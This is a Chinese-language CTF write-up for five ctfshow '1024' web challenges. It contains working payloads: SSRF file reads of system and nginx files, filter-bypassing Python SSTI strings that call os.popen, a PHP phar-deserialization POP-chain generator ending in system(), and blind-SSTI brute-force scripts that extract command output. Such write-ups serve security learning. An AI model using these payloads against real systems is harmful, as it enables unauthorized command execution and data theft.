文章目录
- 1024_WEB签到
- 1024_图片代理
- 1024_fastapi
- 姿势一
- 姿势二
- 姿势很多,随便测试两个
- 1024_柏拉图
- 1024_hello_world
- 参考文章
1024_WEB签到
代码审计,唯一利用点call_user_func
,一般都是需要两个参数(可以看看官方文档你就知道我的意思了),但是本题只给了我们传入一个参数的选择,那么他必定是无参数的函数,加上这个是一道签到题,所以不难得出看看phpinfo
里面到底有啥
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-20 23:59:00
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-21 03:51:36
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
call_user_func($_GET['f']);
http://426a1193-175d-45bb-acd8-f8ae1444f794.chall.ctf.show?f=phpinfo
在phpinfo
当中发现关键的利用点,有个支持的函数ctfshow_1024
flag就出了 很简单
1024_图片代理
首先打开题目看见URL后面跟的参数感觉可控,base64解密后得到http://p.qlogo.cn/gh/372619038/372619038/0
,既然如此那就试一试能不能访问本地文件file:///etc/passwd
完全没问题,猜测成功
尝试直接读取file:///flag
,没有回显,然后就懵逼了hhh,考虑下其他方面,比如默认的配置文件啥的,老规矩BurpSuite
,发现是nginx
读取配置文件file:///etc/nginx/nginx.conf
# /etc/nginx/nginx.conf
user nginx;
# Set number of worker processes automatically based on number of CPU cores.
worker_processes auto;
# Enables the use of JIT for regular expressions to speed-up their processing.
pcre_jit on;
# Configures default error logger.
error_log /var/log/nginx/error.log warn;
# Includes files with directives to load dynamic modules.
include /etc/nginx/modules/*.conf;
events {
# The maximum number of simultaneous connections that can be opened by
# a worker process.
worker_connections 1024;
}
http {
# Includes mapping of file name extensions to MIME types of responses
# and defines the default type.
include /etc/nginx/mime.types;
default_type application/octet-stream;
# Name servers used to resolve names of upstream servers into addresses.
# It's also needed when using tcpsocket and udpsocket in Lua modules.
#resolver 208.67.222.222 208.67.220.220;
# Don't tell nginx version to clients.
server_tokens off;
# Specifies the maximum accepted body size of a client request, as
# indicated by the request header Content-Length. If the stated content
# length is greater than this size, then the client receives the HTTP
# error code 413. Set to 0 to disable.
client_max_body_size 1m;
# Timeout for keep-alive connections. Server will close connections after
# this time.
keepalive_timeout 65;
# Sendfile copies data between one FD and other from within the kernel,
# which is more efficient than read() + write().
sendfile on;
# Don't buffer data-sends (disable Nagle algorithm).
# Good for sending frequent small bursts of data in real time.
tcp_nodelay on;
# Causes nginx to attempt to send its HTTP response head in one packet,
# instead of using partial frames.
#tcp_nopush on;
# Path of the file with Diffie-Hellman parameters for EDH ciphers.
#ssl_dhparam /etc/ssl/nginx/dh2048.pem;
# Specifies that our cipher suits should be preferred over client ciphers.
ssl_prefer_server_ciphers on;
# Enables a shared SSL cache with size that can hold around 8000 sessions.
ssl_session_cache shared:SSL:2m;
# Enable gzipping of responses.
#gzip on;
# Set the Vary HTTP header as defined in the RFC 2616.
gzip_vary on;
# Enable checking the existence of precompressed files.
#gzip_static on;
# Specifies the main log format.
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';
# Sets the path, format, and configuration for a buffered log write.
access_log /var/log/nginx/access.log main;
# Includes virtual hosts configs.
include /etc/nginx/conf.d/*.conf;
}
看见最后一排file:///etc/nginx/conf.d/default.conf
server {
listen 80 default_server;
listen [::]:80 default_server;
root /var/www/bushihtml;
index index.php index.html;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
location / {
try_files $uri $uri/ /index.php?$args;
}
location ~ \.php$ {
try_files $uri =404;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
location = /404.html {
internal;
}
}
然后发现一些关键的配置信息
root /var/www/bushihtml;
index index.php index.html;
fastcgi_pass 127.0.0.1:9000;
不难想到一个利用点Gopher打fastcgi
看出名字即为flag
1024_fastapi
这里提供两个姿势吧,也是自己学到的新姿势
首先打开网站环境
根据题目提示搜一搜fastapi
FastAPI 是一个高性能 Web 框架,用于构建 API。
主要特性:
快速:非常高的性能,与 NodeJS 和 Go 相当
快速编码:将功能开发速度提高约 200% 至 300%
更少的错误:减少约 40% 的人为错误
直观:强大的编辑器支持,自动补全无处不在,调试时间更少
简易:旨在易于使用和学习,减少阅读文档的时间。
简短:减少代码重复。
稳健:获取可用于生产环境的代码,具有自动交互式文档
基于标准:基于并完全兼容 API 的开放标准 OpenAPI 和 JSON Schema
通过官方文档发现其自带一个交互式API文档
这里发现两个网址,根据经验应该是第二个地址
因为基于Python
,所以可以尝试一波SSTI
发现不用加上{{}}
发现报500
错误,可能是因为类型不匹配,这边需要字符型
成功了
成功,尝试执行命令,需找到[].__class__.__base__.__subclasses__()
下catch_warnings
所在的下标,经过测试过滤了__import__\popen\eval
等,发现能够绕过,发现在根目录没有什么敏感文件,我们查看当前目录下面读取源代码
姿势一
q=str([].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['ev'+'al']('__imp'+'ort__("os").po'+'pen("ls ./").read()'))
姿势二
q=str([].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls /').read())
姿势很多,随便测试两个
发现提示ok了,本题也结束了
得到flag
1024_柏拉图
在开始讲解之前给大家科普下常用的
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
首页利用点
不行,尝试file协议
file:///etc/passwd
没有任何回显,但是下面没有报错了
最后发现是双写绕过,成功了
fifile://le:///etc/passwd
fifile://le:///var/www/html/index.php
尝试读取主页
upload.php
<?php
error_reporting(0);
if(isset($_FILES["file"])){
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
if (file_exists("upload/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " 文件已经存在啦!";
}else{
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" .$_FILES["file"]["name"]);
echo "文件存储在: " . "upload/" . $_FILES["file"]["name"];
}
}else{
echo "这个文件我不喜欢,我喜欢一个gif的文件";
}
}
?>
readfile.php
<?php
error_reporting(0);
include('class.php');
function check($filename){
if (preg_match("/^phar|^smtp|^dict|^zip|file|etc|root|filter|\.\.\//i",$filename)){
die("姿势太简单啦,来一点骚的?!");
}else{
return 0;
}
}
if(isset($_GET['filename'])){
$file=$_GET['filename'];
if(strstr($file, "flag") || check($file) || strstr($file, "php")) {
die("这么简单的获得不可能吧?!");
}
echo readfile($file);
}
?>
unlink.php
<?php
error_reporting(0);
$file=$_GET['filename'];
function check($file){
if (preg_match("/\.\.\//i",$file)){
die("你想干什么?!");
}else{
return $file;
}
}
if(file_exists("upload/".$file)){
if(unlink("upload/".check($file))){
echo "删除".$file."成功!";
}else{
echo "删除".$file."失败!";
}
}else{
echo '要删除的文件不存在!';
}
?>
class.php
<?php
error_reporting(0);
class A {
public $a;
public function __construct($a)
{
$this->a = $a;
}
public function __destruct()
{
echo "THI IS CTFSHOW".$this->a;
}
}
class B {
public $b;
public function __construct($b)
{
$this->b = $b;
}
public function __toString()
{
return ($this->b)();
}
}
class C{
public $c;
public function __construct($c)
{
$this->c = $c;
}
public function __invoke()
{
return eval($this->c);
}
}
?>
这里我们通过readfile
当中的/^phar
以及后来的class.php
不难想到是使用phar
实现反序列化,但是phar
不能出现在首部,可以利用compress.zlib://
或 compress.bzip2://
函数来实现绕过
接下来我们看看如何实现反序列化过程利用,来构造pop链,不难想到把class A中的a赋值为class B
这样当A对象销毁时__destruct
其中echo
就能调用class B当中的__toString
,这个时候,如果我们把其变量b赋值为class C
那么就能触发__invoke
来实现任意命令执行
接下来我给出生成phar
的脚本
<?php
ini_set('phar.readonly','Off');
class A {
public $a;
public function __construct($a)
{
$this->a = $a;
}
public function __destruct()
{
echo "THI IS CTFSHOW".$this->a;
}
}
class B {
public $b;
public function __construct($b)
{
$this->b = $b;
}
public function __toString()
{
return ($this->b)();
}
}
class C{
public $c;
public function __construct($c)
{
$this->c = $c;
}
public function __invoke()
{
return eval($this->c);
}
}
$phar = new Phar("phar.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$o = new A('');
$o->a = new B('');
$o->a->b = new C('system("ls /");');
$phar->setMetadata($o);
$phar->addFromString("text.txt","test");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
将生成的文件改后缀gif
,并上传
compress.zlib://phar:///var/www/html/upload/1.gif
,成功了hhh
将其改为system("cat /ctfshow_1024_flag.txt");
成功得到了flag
1024_hello_world
看起来是一个SSTI
的题目,补充一些绕过的知识点可以看我以前的一篇博客,见下面参考链接
发现不太像行,以为被绕过了
啊这,还是不行,看了网上的师傅说的才知道这道题是SSTI
的盲注
接下来就是一步一步测试了,接下里我就只给payload
来记录我的每一步了,当然还要知道catch_warnings
的位置,我们这里利用如果参数错误则服务器爆500
错误的特性来以及参数成功会显示我们自定义的字符比如2132
爆破
注意字符串前加 r
,不然python会有错误
import requests
for i in range(200):
data = {
'key': r'{%if ""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()['+f'{i}'+r']["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]!=1%}2132{%endif%}'
}
url = 'http://d89115f4-c9e7-45fc-bdd2-2858eff2a172.chall.ctf.show/'
r = requests.post(url, data=data)
if '2132' in r.text:
print(data)
break
最后爆破出来是64
好不容易找到了姿势,有些不能用,不知道是我的问题还是环境过滤了,希望大家在评论区给出自己的新思路
key={%if ""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[64]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["\x5f\x5fdict\x5f\x5f"]["popen"]("ls /")["read"]()[0]!=1%}2132{%endif%}
最后我们用python脚本即可得到flag
第一步,得到根目录下文件名
import requests
import string
strs = string.digits + string.ascii_lowercase + ' -_{}'
url = 'http://d89115f4-c9e7-45fc-bdd2-2858eff2a172.chall.ctf.show/'
cmd = 'ls /'
name = ''
for i in range(0, 50):
for ch in strs:
payload = '{%if ""["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()[64]["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")["\\x5f\\x5fdict\\x5f\\x5f"]["popen"]("' + cmd + '")["read"]()[' + str(
i) + ']=="' + ch + '"%}2123{%endif%}'
data = {'key': payload}
r = requests.post(url, data)
if '2123' in r.text:
name += ch
print('name = ' + name)
break
得到关键文件,之后便能得到flag了
import requests
import string
strs = string.digits + string.ascii_lowercase + '-_{}'
url = 'http://d89115f4-c9e7-45fc-bdd2-2858eff2a172.chall.ctf.show/'
cmd = 'cat /ctf*'
flag = ''
for i in range(0, 50):
for ch in strs:
payload = '{%if ""["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()[64]["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")["\\x5f\\x5fdict\\x5f\\x5f"]["popen"]("' + cmd + '")["read"]()[' + str(
i) + ']=="' + ch + '"%}2123{%endif%}'
data = {'key': payload}
r = requests.post(url, data)
if '2123' in r.text:
flag += ch
print('flag = ' + flag)
break
测试成功